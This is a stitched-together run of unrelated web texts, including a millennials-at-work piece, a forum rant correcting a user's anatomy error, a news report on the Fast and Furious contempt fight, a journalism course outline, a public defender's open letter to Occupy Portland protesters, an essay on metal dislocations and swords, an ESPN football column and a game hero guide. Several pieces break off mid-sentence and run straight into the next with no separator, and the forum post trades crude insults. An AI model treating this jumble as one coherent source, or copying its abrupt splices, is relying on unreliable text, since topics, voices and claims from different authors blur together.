O’Brien—who describes herself as bordering precariously, age-wise, between the Xers and the millennials—says she believes that the goals and aspirations of millennials aren’t much different from those of their older colleagues. "It's hard for previous generations," she says, "to hear that the millennial generation champions wanting to work somewhere meaningful, aspires to do something great, and wants balance in their lives … because it implies that the rest of us don't."
She hastens to add that she doesn’t use the dreaded E word to describe millennials. “I don't think they're being entitled,” she says. “I think they're more misled as to what's a right and what's a privilege."
[Note: In another piece in this series, I do touch on how, if millennials have indeed been “misled,” it may be because their baby boomer parents raised them to have certain expectations that Gen Xers may find to be excessive or unreasonable.]
She says, “Assuming that workplace rights should include a variety of perks and flexibility makes it difficult to keep continuity or to reward employees at smaller organizations … Asking small to mid-sized organizations to be more like Google' isn’t a relevant request. Google wasn't even like Google in their early days. It took a lot of people working long hours in a garage to make their success happen."
O'Brien counsels ambitious millennials that handling imperfection and tedium is a necessary part of building an organization that can grow and that can develop the flexibility and inspiration that most employees want. “There has to be some understanding,” she says, “that in order to learn to do what you love, you have to learn to do a lot of things … and sometimes you have to learn to do them in a place that isn't perfect, so that you can build your version of perfection down the road.”
That may be powerful wisdom, especially given the fearsome prospects of a “lost generation” that Brownstein alluded to. After all, there are only so many young female fans of Mike Huckabee to fill key spots in our organizations. We're going to need all hands on deck.
[Please join us and share your thoughts, experiences and insights with our Forbes.com community in the comments section below. And hit Follow at the top of the page to be alerted about new posts.]Medic171
Senior Member
Registered: Apr 2001
Location: MSU
Posts: 432
Thank you so much for posting that diagram Papa Smurf. I was thinking of doing the same thing. Pfiller has a thing or two to learn. People had seemed to be trying to explain that fact, but then pfiller said:
quote:"Er, great one, doc! So why is it called a boner if there's no bone? I'd suggest that you get yourself to a high school biology class as soon as possible and learn some basic anatomy. And why is there a pubic bone if it isn't for supporting a boner?
Dude, forget medical school. You're not touching me if that's the extent of your knowledge of human anatomy."
pfiller, I normally do not insult people, but considering this post, you are a damn MORON. How can you insult somebody elses' knowledge of anatomy when:
1. They are correct
2. You are wrong AND you obviously never took any biology class you mentioned that none of your books mentioned and concluded that the authors must have found it unimportant. Did you consider maybe there was no mention of a broken penis bone because there is no penis bone?.
You really believed the pubic bone was a bone that went into the penis to make it erect? The pubis is inferior and medial to the left and right sides of the pelvis,(that area anyway) it is a stationary bone that has no function with external sexual organs.
Boner is a slang term so I don't see how you use that as a basis for concluding that it has a bone supporting it. The proper name is an erection, which consists of vascular tissue saturation(see diagram) with blood in the penis.
Quote form pfiller
"I'm sure that the doctor would also try to stimulate me so he can examine my pubic bone through my erection. To me, this would be the most embarassing thing ever."
A physician exam will be needed to asses damage, but I promise you that the doc will NOT "stimulate an erection" during the exam as you eluded to in the original post. That would be a little thing called criminal sexual conduct, harassment, and sexual battery. Besides, how can he "examine the pucic bone through your erection"? That makes no sense at all. How is that even possible?
Quote from pfiller "when the pubic bone goes into my shaft and makes it hard, it really hurts"
Damn boy, I bet that would hurt. I would be screaming if my pubic bone impaled my penis somehow.
Quote form pfiller "What can be done? I don't know how a pubic bone gets fixed. I imagine that a cast would be embarassing, because people would see it through my pants and would know what I had done."
Thats funny, and that is all I have to say about that.
Feel free to post your questions, but if you are going to assault somebodies |
House assertion of executive privilege "falls short" of any reason to delay the hearing.
However, Issa said after the hearing that he believed a settlement to avoid an unprecedented contempt vote in the House would be "in the best interest of the Justice Department, Congress and those most directly affected by Operation Fast and Furious."
In Copenhagen on Thursday, Holder repeated earlier criticism of the House panel's vote, calling it "unwarranted, unnecessary and unprecedented."
His offer to Issa, in a meeting Tuesday evening, "would have allowed for the resolution of that matter, consistent with the way in which these have been resolved in the past through negotiation," Holder said. "I think the possibility still exists that it can happen in that way."
Holder has said his proposal included turning over some documents and briefing Issa's committee on them, while also providing an inventory of what requested materials were provided or withheld.
He also sought an assurance from Issa that the move would satisfy the subpoenas from the committee. Issa, however, complained that Holder's offer set unreasonable conditions.
Boehner said Thursday that Republicans rejected that "we should accept some documents of his choosing, and as a result of his turning over some documents of his choosing, that we would never ever pursue contempt."
However, the committee's top Democrat, Rep. Elijah Cummings of Maryland, said, "This is a situation where an attorney general has cooperated to the nth degree, and the only thing he asked for is that we come to some type of conclusion with regard to this contempt situation."
Wednesday's developments further heightened the drama of a high-profile showdown between Issa and Holder over the Fast and Furious program that dates back to subpoenas issued by the House committee last year.
The Bureau of Alcohol, Tobacco, Firearms and Explosives launched Operation Fast and Furious out of Arizona to track weapon purchases by Mexican drug cartels. However, it lost track of more than 1,000 firearms that the agency had allowed straw buyers to carry across the border, and two of the lost weapons turned up at the scene of the 2010 killing of U.S. Border Patrol agent Brian Terry.
Issa's committee is seeking documents that show why the Justice Department decided to withdraw as inaccurate a February 2011 letter sent to Congress that said top officials had only recently learned about Fast and Furious.
The subpoenas issued last year originally cited a broad array of documents, including wiretap requests and other materials involving confidential sources that Holder argued he was prevented by law from supplying. Issa narrowed the request in negotiations with Holder in recent weeks to focus on documents pertaining to decision-making on withdrawing the February 2011 letter.
However, Holder refuses to turn over materials containing internal deliberations, and he asked Obama to assert executive privilege over such documents before Wednesday's committee meeting.
Boehner said Obama's assertion of executive privilege proved White House involvement and indicated a cover-up, which Carney later rejected.
"The issue here is about after-the-fact internal documents that have to do with the executive branch's ability to operate appropriately and independently in response to congressional investigations and media inquiries," Carney said.
He noted Holder had ended Fast and Furious when he learned about it, and ordered an inspector general to investigate it. The inspector general's report has yet to be completed.
"Every piece of documentation that relates to the operation itself, if (the Republican) interest is in the operation, how it came about, its origination, how it was approved, why such a flawed tactic was employed -- that has been provided to congressional investigators," Carney said.
The ranking member of the Senate Judiciary Committee, Sen. Chuck Grassley of Iowa, called Carney's statement "hogwash."
"Through my investigation, I know there are reams of documents related to 'the operation itself' that the Justice Department refused to turn over to Congress," Grassley wrote in a statement.
Cummings said Republicans were being extreme with their contempt measure.
"You have, once again, the far right of this party pushing and pushing," he added, leaving Obama with no option but to assert his executive privilege. "... These were deliberative documents that all attorney generals have held close and not released. This attorney general released about 1,000 of those documents voluntarily, and Mr. Issa wanted more and more."
Grassley said Obama's assertion of executive privilege raises questions, but "we know of no presidential involvement" in Fast and Furious.
What he wants, Grassley said, is to get to the bottom of who was behind the sting.
"I've only been trying to find out who at the highest level of government... gave approval for this, so we can get them fired," he said.
At Wednesday's hearing, Democrats noted that a similar program called Operation Wide Receiver was started during the Bush administration. They complained that Issa prevented the panel's investigation from fully examining any possible connection between Wide Receiver and Fast and Furious.
Republicans repeatedly invoked the name of the slain border agent in demanding that Holder turn over all documents sought by the panel.
"At the heart of the congressional investigation into Operation Fast and Furious are disastrous consequences: a murdered Border Patrol Agent, his grieving family seeking answers, countless deaths in Mexico, and the souring effect on our relationship with Mexico," Issa said in a statement. "Congress has not just a right but an obligation to do all that it can to uncover exactly what happened and ensure that it never occurs again."
Terry's family issued a statement Wednesday that called for all of the documents sought by the committee to be turned over.
"Our son lost his life protecting this nation, and it is very disappointing that we are now faced with an administration that seems more concerned with protecting themselves rather than revealing the truth behind Operation Fast and Furious," the statement said.
Asked about the Terry family's statement Thursday, Carney recited the steps Holder took to end Fast and Furious and to cooperate with the investigation of the operation and said the inspector general has "full access to all documents" sought by Republicans.
"That is separate from an attempt by Republican members of Congress to try to score political points," he said.
Grassley said any accusation of political motivation is "baseless," and he listed his attempts during the Bush administration to subpoena records or hold officials in contempt.
If the House finds Holder in contempt, it is unlikely he will be prosecuted for criminal contempt, according to Alan Morrison, associate dean at George Washington University Law School.
"It would look like terrible overreaching to go for criminal contempt," Morrison said. The charge carries a penalty of $1,000 and up to one year in prison.
Instead, Morrison said, it is more likely the House would pursue civil prosecution in federal court.
CNN senior legal analyst Jeffrey Toobin said that while Holder may be embarrassed, he won't ultimately be found in contempt.
"This is going to be just another political dispute," Toobin told CNN's Anderson Cooper. "If people remember at all, they'll remember 23 Republicans were for it, 17 Democrats were against it."
Wednesday's House committee vote came more than six hours after notice that Obama had asserted executive privilege.
In a letter to Obama seeking that action, Holder said the documents involved related to the Justice Department's "response to congressional oversight and related media inquiries," and that release of internal executive branch documents would have "significant, damaging consequences."
Holder also said releasing the documents would "inhibit the candor of executive branch deliberations in the future and significantly impair the ability of the executive branch to respond independently and effectively to congressional oversight."
Holder said he offered to turn over some of the documents sought by Issa when they met Tuesday in a final effort to resolve the dispute before Wednesday's hearing. Issa, however, said Holder put unreasonable conditions on his offer.
In a letter to Issa after Tuesday's meeting, Deputy Attorney General James Cole reiterated Holder's position that the documents would show Holder had nothing to hide about his role in Fast and Furious.
Cole noted that the lone point of dispute was whether the February 4, 2011, letter was part of a broader effort to obstruct a congressional investigation. "The answer to that question is an emphatic 'no,' and we have offered the committee the opportunity to satisfy itself that that is so," Cole wrote.This course will train you in a whole range of skills, all of which are required for a successful career as a staff journalist. You will learn the techniques of interviewing and reporting through the practical experience of your assignments as well as writing an intro, feature and editorial articles, profiles, and handouts.
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Lesson 3: The Junior Reporter Assigned the job of junior reporter on a provincial weekly paper, you will learn essential basic newsgathering and copy-writing skills. The importance of the news diary in allocating workloads, what is involved in making the 'calls' and how reporters set about crafting accurate and attention-grabbing 'intros'.
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Assessment tasks include:
Writing up a lively news story for an evening paper
Lesson 6: The Evening Papers Life on a busy evening paper. Its structure and staff hierarchy, the importance of deadlines and the use of separate editions. Covering a typical case in the Crown Court; how to present a 'running story' and a news special; the treatment required for gossip and diary column stories.
Assessment tasks include:
Covering a running story
Selecting a news item for treatment as a'special'
Writing two items for a gossip column
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Assessment tasks include:
Comparing news styles in the morning dailies
Writing a feature article based on a major news story
Lesson 8: Journalists and the Law Legal restrictions and how journalists can avoid costly legal action. The dangers of libel and other pitfalls; qualified privilege and unintentional defamation; criminal libel; and the need for fairness and accuracy. Restrictions on court reporting, and the dangers of contempt of court when matters are sub judice. The Official Secrets Act, the rights of the Press and a brief look at copyright.
Assessment tasks include:
Tackling a specialist column or feature
Producing a safe, fair and accurate crime report
Defining legal terminology
Lesson 9: Writing Features The different structure and style required for a features article. How to gauge the right approach, focus on the importance of interviews in features writing and how to adapt the tone and style to the subject. Dealing with topical news features.
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Comparing the merits of published news features and personal profiles
Lesson 10: More About Features Progressing to in-depth features profiles; how to conduct successful face-to-face interviews. What is meant by'standfirsts'; using different features introductions to play up a strong news angle or maximise the story's human interest. Exploring eyewitness and offbeat approaches.
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Lesson 11: Specialist Writing The special skills required by a range of specialist newspaper writers - from motoring journalists to gossip writers, from foreign correspondents and political columnists to critics, sports writers and photo-journalists.
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Filing a despatch as a foreign correspondent
Writing a book, film or TV review
Tackling a specialist column or feature
Lesson 12: Specialist Writing 2 The role and duties of the sports reporter and the sporting commentator. How magazines differ from newspapers in style and approach. The opportunities to specialise in different fields, from the 'glossies' to the trade and technical press.
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Compiling a sports round-up
Reporting a live sporting event
Developing and writing stories as magazine features
Lesson 13: The Qualified Journalist As part of a comprehensive review of your training to date, here you will undertake a self-assessment exercise and learn how trainee journalists can move up the ladder. Using subediting skills to sharpen your writing style; how to use proof marks.
Assessment tasks include:
Drawing up a personal 12-month action plan with clear achievement targets
Lesson 14: Subediting and Design This final lesson gives you the vital preparation required to launch your subediting careers, whether on a full-time or part-time basis. Detailed revision notes provide an opportunity to tie up any loose ends in your training, with business-like advice aimed at pursuing a professional approach to future subediting assignments.
Assessment tasks include:
Subediting copy for a national paper
Writing headlines for news and features
Lesson 15: Television and Radio The differences in approach between broadcast and print journalism. Learning the requirements of broadcast news presentation and the relevant technical terms. How not to succumb to stress and how scripted narration and pre-recorded items are integrated to form a broadcast news item. The techniques of 'voice-over' and 'piece to camera'; the skills of the radio and TV commentator.
Assessment tasks include:
Covering a news story for radio and TV transmission
Putting together pictures, sound and interviewsRead This Before You Protest: An Open Letter to Occupy Portland from a Public Defender
Local public defender Chris O'Connor is in the pages of the Mercury every week, it feels like, for stepping up to help protect the civil rights of some poor soul or another. I realize this guest blog post about what to expect at Occupy Portland today—and the crimes you're most likely to be arrested for—is too long for many internet attention spans, but it's so interesting and worthwhile that I didn't want to cut it down. Listen up!
Dear Occupy Portland:
I don’t disagree with many of your goals and aims. I think that the banks and large corporations and mortgage fraudsters that made a killing off the crash need a few less bailouts and a few more criminal charges to thin out their ranks. But I am nothing if not a realistic and practical person. I want you to temper your idealism and righteous rage with a nice slap of reality. So if, in fact, you gather enough people and present your version of Tahrir on the Willamette, things are going to get bad. And I want to give you a heads up about some things you may not have been thinking about.
So you want to occupy Portland. Or at least a portion of the waterfront. Or the sidewalks outside of a park. Whatever. Give ‘em hell. Protester gotta protest and public defender gotta eat.
Unfortunately, I think the lawyers will be eating well after all this, and there is a high chance that you will be enjoying some of the fine meals at the county jail. I don’t say this to be mean, anti-democratic, or because I want you to suffer. I say this for two sets of reasons: The first set of reasons is practical, and it has to do with a realistic view of the Portland Police and their relative freedom to beat the crap out of you. The second is legal and focuses on the many many legal tools the city council and state legislature have given to the local ‘peace’ officers. Both need to be on your mind if you are planning on hanging out under the Burnside Bridge or setting up a tent city in a public park for the next few nights.
Part One: A) It Is Going To Hurt. B) Jail Deputies Will Be Looking In Your Ass. C) No One Will Care.
You need to be 100 percent realistic about the fact that getting arrested going to hurt.
A protest with hundreds of people, no permits, and intentional or unintentional violations of numerous city ordinances you are going to be dealing with some physical pain. Never forget that in this city a police officer can literally shoot you in the back with a rifle as you surrender and still get his paycheck for years. So don’t be surprised when they bust out the beanbag guns, chemical sprays and gases and riot shields. Like the early South Park episode taught us, all an officer has to say is “He was coming right at me” and the district attorney will apologize to the grand jury and the officer for wasting their time with this whole silly case. The officer’s sergeant might even buy him a drink after the debrief. Your bruises from the batons will go away in a few weeks.
If you would like a nice chant, please consider using the names Jim Chasse, Keaton Otis, Aaron Campbell, Jack Collins, Deontae Keller, Richard “Dickie” Dow, Jose Meija Poot, Kendra James, and James Jahar Perez. Those are just a few of the people killed by Portland Police. Look them up. They were not even focused on reforming or resetting the social order. Compared to them, you are a real threat to public safety.
Be realistic about who is going to win a fight. When you are out there and the police have their riot shields and are pushing the crowd back, don’t take a swing at them. Don’t drop a firecracker under the massive horses that they are using to intimidate and threaten the crowd with or kick at the police dogs. Don’t pull away when they try to put the zip-tie hand cuffs on you. You will be shoved, your arms will be twisted until you think your elbow or shoulder is going to pop, you will be taken to the ground and in some cases you may be injured. No one with any say will care. The officers will go home at night confident that the DA, the police higher-ups and the media have their backs. You will not be surprised to know that the jail will not permit you to take your medical marijuana into the cell with you.
As many people of color, the homeless, and generally poor folks in our town have found out, the police have friends with all the money, jails, and guns, so they get to do what they want. You do not. Remember that.
When you get down to the station and are subjected to your first full search, you will be humiliated. You will spend uncomfortable hours being processed sitting on uncomfortable benches. The deputy will want you to lean over with your pants down and stare at your anus while you cough so that they can be sure you are not sneaking in any anti-capitalist manifestos. You will at some point vocally lament your choices, upbringing, or the treatment that you are receiving. The corrections deputies will shrug and hopefully stick you in with the other Reedies. Don’t be an idiot and question the parentage, motives, or bias of the corrections deputies when they are around. They get to literally lock you in a cage and decide when and if to feed you. Their motivations are getting paid, keeping themselves physically safe, and getting along with their coworkers. Even the nice and kind jailers aren’t going to go out of their way to help you out.
After a while, if you’re lucky, enough of your fellow protesters will join you in the jails, resulting in mass releases of the protesters with orders to report to court in the morning. Then you can indignantly spend the following weeks dealing with stupid legal charges and bragging to your friends about how it was totally worth it. The cops who arrested you will use their overtime checks to buy a new jet ski and park it in their garage in Vancouver. They will also brag to their friends that it was totally worth it.
Maybe there will be some lawsuits in the coming years about whether that horse should have been used to break your toes, but the money won’t make up for the fact that you can’t get a job because of your resisting arrest conviction and your probation terms.
Again, please don’t take this as me being happy about all this. It will suck. I will feel bad for you. I will sympathize with you. I’ll write an angry letter to the Oregonian or help you in court as best I can. But you must, above all, be realistic. It is possible that you’ll be a famous civil rights leader and write a famous Letter From The Multnomah Detention Center that school children will read for decades to come. Maybe you will be the Vaclav Havel of your generation and be a rock star president when the old regime collapses. But most likely you will lose your job at the coffee shop because of your jail time or many court appearances. If you are of an academic bent, perhaps you won’t be admitted to the Oregon State Bar because of your criminal history. Make sure it’s worth it.
Part Two: The legal stuff is going to be as annoying as hell and you will be dealing with it for months and years and decades to come. Know what you are in for.
You know the basics. The man will try to keep you down even after the beatdown with an illusory ‘justice’ system. You’ll have to stick together and fight the system together. No doubt the protest will be crawling with radical lawyers, sort-of-radical lawyers, law students doing observing, police oversight advocates, veteran protesters and the like. They will give you the basic rundown on how to sharpie the name and phone number of a person with a land-line on your arm so you can call someone if you get arrested. They’ll tell you not to bring a little weed down there for the campout and will tell you to go limp if being arrested rather than fighting back. No pocket knifes, guns, gasmasks and all that — stay safe. Peace man. They’ll encourage solidarity and attempt to get everyone to fight their cases. You got that stuff covered.
But let me tell you about a few local ordinances and state laws you are going to have to become very familiar with very quick. I know it is a lot of information, and you are busy trying to find a sleeping bag that you don’t mind losing when the camp gets rousted, but don’t worry, you’ll have some time to consider this stuff in the many hours you spend in court.
I’ll give you ten nine laws to start with. If you want to explore more ways the authorities can charge you with a variety of crimes check out Oregonlaws.org for state statutes and the online City Code and Charter.
State and City Statutes That May Be Used to Arrest You:
1. Disorderly Conduct In the Second Degree: Among other alternate theories of Disorderly Conduct, it’s a crime if you engage in tumultuous behavior with the intent to cause public annoyance or inconvenience,. Hanging out in a park all night in a drum circle probably meets this definition. Being part of an angry mob facing off with the cops definitely meets this definition. So conduct yourself in an orderly manner.
An alternative way you can get in trouble with this is by obstructing vehicular or pedestrian traffic on a public way. So yeah, if you camp on a sidewalk it could be a problem. If you step into the street for a second, that’s a good excuse to arrest you. Also, the law makes it illegal to congregate with other persons in a public place while refusing to comply with a lawful order of the police to disperse. Which is the point, I know, but please be aware that they will treat it as a crime if they want to arrest you.
2. Interference with A Peace Officer: There are two ways to screw yourself with this one. First, it is a crime if you refuse to obey a lawful order of a cop who you know is a cop. So say the cop says, "I am issuing you a legal order to clear out of this park." And you don’t. If the order is lawful and the jury thinks you refused to obey it, you may have a bit of a problem. But wait, there’s more! Another version of this crime makes it illegal to prevent a cop from carrying out their lawful duties with regards to another person. So don’t step in front of a cop who is trying to pepper spray a group of cowering young women. That’s a crime. (Side note—this law doesn’t apply if you are passively resisting or engaging in resisting arrest! Nice! They can only get you on one or the other. Both are Class A misdemeanors though so not much difference, but I think “Interference with A Peace Officer” has a cooler name and looks so much better on your application to get a background check to go on your kid’s school field trip.)
3. Resisting Arrest: Say a police officer is arresting your friend and you pull on the offficer's sleeve (or your friend's sleeve) and say, "Don’t arrest her!" Bam. That’s a resisting arrest. You can’t resist your own arrest or somebody else's. The key is that there must be some physical resistance that creates a risk of harm. If you are going to be in there pulling on sleeves, that’s dangerous because you or your friend might get injured.
4. Harassment: Don’t subject another person (like a police officer or park ranger or noise enforcement guy to offensive physical contact. That would be shoving, pushing, spitting on and similar types of conduct.
5. Attempted Assault of a Public Safety Officer: Assault is causing physical injury to another person. It is a felony to cause physical injury to a police officer. It is a misdemeanor if you ‘attempt’ to do so. (Officer to fellow officer: “Look out! He’s got a book! He’s coming right at me!”)
6. Offensive Littering Don’t create an objectionable stench or degrade the beauty or appearance of property or detract from the natural cleanliness or safety of property by intentionally depositing rubbish, trash, debris, other refuse or tents on a property or roadway you don’t own. (I made up the bit about tents, but you can see where I am going with this one.)
7. Depositing Burning Material on A Roadway: It’s pretty clear: “No one shall, at any time, throw away any lighted tobacco, cigars, cigarettes, matches or other lighted material, on any forestland, private road, public highway or railroad right of way within this state.” Rubbing out a cigarette butt or tossing it in the gutter is going to get someone in trouble if the officer is looking for trouble.
8. Sit Lie II: Blah blah blah sidewalks. Blah blah blah Amanda Fritz. Blah Blah freedom of assembly. Even thinking of how to explain the needlessly complex sidewalk obstruction ordinance is putting me to sleep. Just don’t block the sidewalk. I’m sure the officers can explain this one to you at 4am as they are pulling you out of your sleeping bag. Or ask city commissioner Amanda Fritz. She has useless and boring meetings on it every month.
9. Erecting a Structure: No erecting structures in a public right of way or non-park public property in the city of Portland! A tarp between two shopping carts is a structure, as many individuals experiencing homelessness can tell you. Your tent and tepee are, in fact, structures.
Part Three: Some Recommendations Based On A Combination of Part One and Part Two.
I’m a cynical bastard. Years of reading thousands of police reports will do that to you. It is frustrating to constantly deal with otherwise intelligent people who don’t understand that when the police say “We will use your statements against you in court” the police officer is saying that whatever you say will in fact be used against you in court. I make no apologies for shaking my head at you. I am old and grouchy and burned out, apparently. But I suspect that I will not get hit in the head with a baton in the next four days.
So my recommendations are as follows:
Stay home.
Play some X-box. I could play Left For Dead 2 all weekend. Great game.
If you do go down there, take nothing you don’t want to lose. I’d suggest a bus ticket, sharpied phone numbers on your arm, and cash.
Don’t drink, don’t camp, don’t sit down, don’t talk.
Don’t speak to cops. Don’t make eye contact with them. It can upset them.
If you get arrested, you don’t have to speak to the cops. I suggest you demand an attorney. You don’t have to give them your name, but they can hold you until they figure it out. Also, don’t lie about your name. That is a crime in and of itself.
Stay near the cameras.
Especially stay in the view of the cameras that are automatically uploading to the internet.
Leave your fancy smart phone at home. If you do show up with it, put a password on it. Because if that cop seizes it, the pictures of him ‘escorting’ your friend may not be there when you get it back.
Good luck.
Smash the state.
Yours in solidarity,
Chris O’Connor
(Who is writing for himself, and whose views should not be considered those of his employer, his union nor any particular groups he is involved in. These opinions are offered for entertainment purposes only and you should seek independent counsel for individual and specific legal questions.)By
I don’t mean to brag, but if you’ve been following this sequence of posts on ribbonfarm, then I’ve sort of taught you the secret to modern physics.
The secret goes like this:
Everything arises from fields, and fields arise from everything.
…
Go ahead.
You can indulge in a good eye-roll over the new-agey sound of that line.
(And over the braggadocio of the author.)
But eye-rolling aside, that line actually does refer to a very profound idea in physics. Namely, that the most fundamental object in nature is the field: a continuous, space-filling entity that has a simple mathematical structure and supports “undulations” or “ripples” that act like physical particles. (I offered a few ways to visualize fields in this post and this post.) To me, it is the most mind-blowing fact of modern physics that we call particles are really just “ripples” or “defects” on some infinite field.
But the miraculousness of fields isn’t just limited to fundamental particles. Fields also emerge at much higher levels of reality, as composite objects made from the motion of many active and jostling things. For example, one can talk about a “field” made from a large collection of electrons, atoms, molecules, cells, or even people. The “particles” in these fields are ripples or defects that move through the crowd. It is one of the miracles of science that essentially any sufficiently large group of interacting objects gives rise to simple collective excitations that behave like independent, free-moving particles.
Maybe this discussion seems excessively esoteric to you. I can certainly understand that objection. But the truth is that the basic paradigm of particles and fields is so generic and so powerful that one can apply it to just about any level of nature.
So we might as well use it to talk about something awesome.
Let’s talk about swords.
* * *
A sword, of course, is a solid piece of metal, and that means that if you look at it under sufficiently high magnification it will look something like this:
The little balls in this picture represent atoms (say, iron atoms), and in a solid metal they generally sit in a nice, periodic arrangement. (The lines in the drawing are just there to illustrate the orderliness of this arrangement.) The positions of the atoms will constitute our field.
Now let’s ask the question: how strong is a sword? How much force can you apply on it before the sword deforms or breaks?
To make the question more specific, let’s suppose that you swing your sword directly into a sharp surface (like, I don’t know, another sword). At the point of impact there will be a force that tries to push one plane of atoms in such a way that it slides across the neighboring plane. This kind of force is called shear.
How big does the shear force have to be before your sword breaks? Looking at the picture above, one very natural answer to this question might come to mind. Namely, that the breaking force should be equal to the repulsive force between two neighboring atoms multiplied by the number of atoms in a given plane.
This answer is very natural, but also very wrong. In fact, if you use that answer to make an estimate of a sword’s breaking force, you’ll find that even a laughably puny “sword” with a 1 millimeter cross section would withstand multiple tons of force before it broke. Since we do not live in a world where people go confidently into battle with millimeter-thick swords (and since, relatedly, you are probably capable of deforming an steel paper clip with your bare hands), there must be something wrong with this answer.
To understand what went wrong, we need to think about the particles in our field.
Remember that a particle is basically just a defect in a field. And if your field is a crystal of iron atoms, then there is one particular kind of defect that is especially relevant. This defect is called a dislocation, and it looks like this:
A dislocation is a place where the lattice planes don’t line up with each other. This failure of alignment produces stress in the nearby regions of the crystal (illustrated by the orangeish area), as atoms are forced into positions that are slightly closer or slightly further from their neighbors than they would prefer. Notice, however, that there is no easy way to eliminate all that stress. Moving atoms around locally just shifts the position of the dislocation, and the stress remains the same.
Of course, you should also keep in mind that the dislocations are not little points. That orange region of stress is not just a single point-like region where the lattice planes are mismatched. In a thick piece of metal, the dislocations are actually long lines of mismatched atoms.
(In this picture, that line of dislocation extends into the screen.)
Consequently, our “particles” in this field are better drawn as long, stringy lines that extend through the metal. I’ll draw them like this:
As it turns out, these dislocations have a serious implication for the strength of our hypothetical sword. When a dislocation is present, all you need to do to deform the sword is to move the dislocation from one side to the other. Like this:
In contrast to the Herculean effort required to make two atomic planes slip against each other, moving a dislocation is easy, since you are only displacing a small number of atoms at a time. One analogy is that moving a dislocation is something like trying to move a very heavy carpet across the floor. Dragging the whole thing may be prohibitively difficult, but if you make a wrinkle or a roll in the carpet, you can simply push that wrinkle to shift the position of the carpet.
This is also why your puny hands are capable of bending a paper clip: when you bend the clip, you are in fact just pushing dislocations from one side of the material to the other.
So what can you do if you want a sword that doesn’t bend or break easily?
You might think that the answer is to be extremely fastidious in preparing or choosing your metal, with the goal of having as few dislocations as possible. But this turns out to be a fool’s errand. Even a small number of dislocations enable the material to deform, and new dislocations can always enter the metal from either edge (as in the animated gif above).
The correct strategy, as it turns out, is to make more dislocations. And to make them as disordered as possible.
The crucial idea behind this strategy is that dislocations can’t really move through each other. When two dislocations are brought together, the stress in the crystal builds up intensely around them.
Such a stress build-up leads to a strong repulsive force that pushes the dislocations back apart, and thereby prevents them from moving through each other.
So now if you have two dislocations aligned in different directions, they can get caught on each other in a way that prevents each of them from slipping past the other.
In fact, this kind of dislocation tangling is one of the most important reasons for all that hammering during the process of metal forging.
When the mighty smithy stands at work over his anvil (the muscles of his brawny arms as strong as iron bands), his effort is largely going into creating a tangled knot of dislocations inside the metal. Such a tangle keeps the metal strong by pinning the dislocations in place, and prevents the metal from deforming under future stresses. (This part of the process is also known as work hardening, or strain hardening.)
In this way, the value of the blacksmith is not that he’s strong enough to deform crystalline steel (he’s not). It’s just that he’s pretty good at making a tangled mess of dislocations. And tangled dislocations make good swords.
I guess you could call him an applied field theorist.
One footnote is in order: I learned a great deal about forging from this excellent article written by the renowned blade/swordsmith Kevin Cashen.
I also stole the rug picture from his website, and I hope he doesn’t mind.Doesn’t the decisive victory of Turkey’s ruling Justice and Development Party (AKP) in Sunday’s elections put an end to concerns about the country’s stability? Hasn’t calm returned to Nato’s strategically vital bulwark on the edge of the Middle East after five months of political impasse and growing sectarian violence?
Sadly not. By handing President Recep Tayyip Erdogan such a strong mandate, Turkey’s voters have swung behind a leader whose hallmarks have become capitalising on tension and fear. In the run up to the polls, the president was accused of threatening to come after critical newspaper editors once the elections were over. Given the scale of Mr Erdogan’s triumph, and his past form, |
ochettino is a similar case.
Tottenham's trip to Arsenal is particularly intriguing because Arsenal have frequently been accused of something similar recently: that they are content to play attractive football without winning trophies.
Last season's FA Cup victory indicates a change in mentality, and perhaps it's been driven by their key players rather than their manager. At the height of Arsenal's trophy drought, the squad was packed with players unaccustomed to winning; the likes of Denilson, Alex Song, Theo Walcott, Laurent Koscielny, Wojciech Szczesny and Samir Nasri were in the same boat.
Arsenal Arsenal Tottenham Hotspur Tottenham Hotspur 1 1 FT Game Details GameCast
Lineups and Stats
Over the past couple of seasons, however, Arsenal have purchased players who had major trophies. Mesut Ozil, Mathieu Flamini, Podolski, Olivier Giroud and Mikel Arteta had won La Liga, Serie A, the Bundesliga, Ligue 1 and the SPL, respectively, while Santi Cazorla had won two European Championships with Spain. Recent signings Sanchez, Danny Welbeck and Mathieu Debuchy have all won major domestic titles too.
Suddenly -- and not just because of the FA Cup victory -- the Arsenal squad feels different, a collection of winners rather than mere entertainers. Perhaps even Arsene Wenger doubted whether his squad had that winning mentality at one point. His emotional, almost hysterical, appearance in the aftermath of Arsenal lifting the FA Cup demonstrated the stress and nervousness that had grown over the past nine years. Perhaps the strength came from within, a newfound core of experienced players that was essentially playing the role of Arsenal's reliable old "back five," which Wenger had inherited when he took charge in 1996.
That winning mentality is difficult to quantify, but it's absolutely crucial to a successful squad. Teams can compensate for technical limitations and physical weakness, but there's no remedy for a squad that doesn't relentlessly drive toward trophies. Arsenal have recovered from their trophy drought, and Wenger will hope "success breeds success" is one of those boring football clichés that also happens to be true.
Pochettino doesn't have that core of winners -- certainly not when considering only major leagues -- and therefore the drive and determination must come from him. The Argentine appears a perfect fit at White Hart Lane, but to be truly successful, he must force Tottenham out of their comfort zone.
Michael Cox is the editor of zonalmarking.net and a contributor to ESPN FC. Follow him on Twitter @Zonal_Marking."Drown in the tide of sin!" - Azmodan, Lord of Sin
The Lord of Sin rules over a densely populated land of hell where both the greatest joys and despair, and the deepest depravities can be experienced. But it is never enough for Azmodan, who has set his eyes on the realm of Sanctuary, and now, the Nexus!
Azmodan is a master tactician and clever manipulator who trades in vice and corruption. He is passionate and plotting—both to very dangerous degrees. He hails from the Diablo universe, and in Heroes of the Storm, he takes on the role of a powerful ranged Specialist who excels at laying waste to the opposition through the swarms of powerful demons he summons. You’d best be careful to keep this Lesser Evil on your side, though, because Azmodan brings his own sinister strengths to the many varied Battlegrounds of the Nexus!
For an even more in-depth look into this iconic Diablo villain and his abilities, make sure to check out Azmodan's Hero Page!
Azmodan's “Globe of Annihilation” [Q] has a long range and area of effect, so remember to use it as a tool to disrupt enemies from capturing objectives on a Battleground.
“Summon Demon Warrior” [W] can be a useful way to scout ahead. Use it to check bushes or areas without vision near you.
“Demonic Invasion” [R] can be used to destroy structures very quickly. Use it as a way to lay waste to your opponents Forts, Keeps, or even the Core!
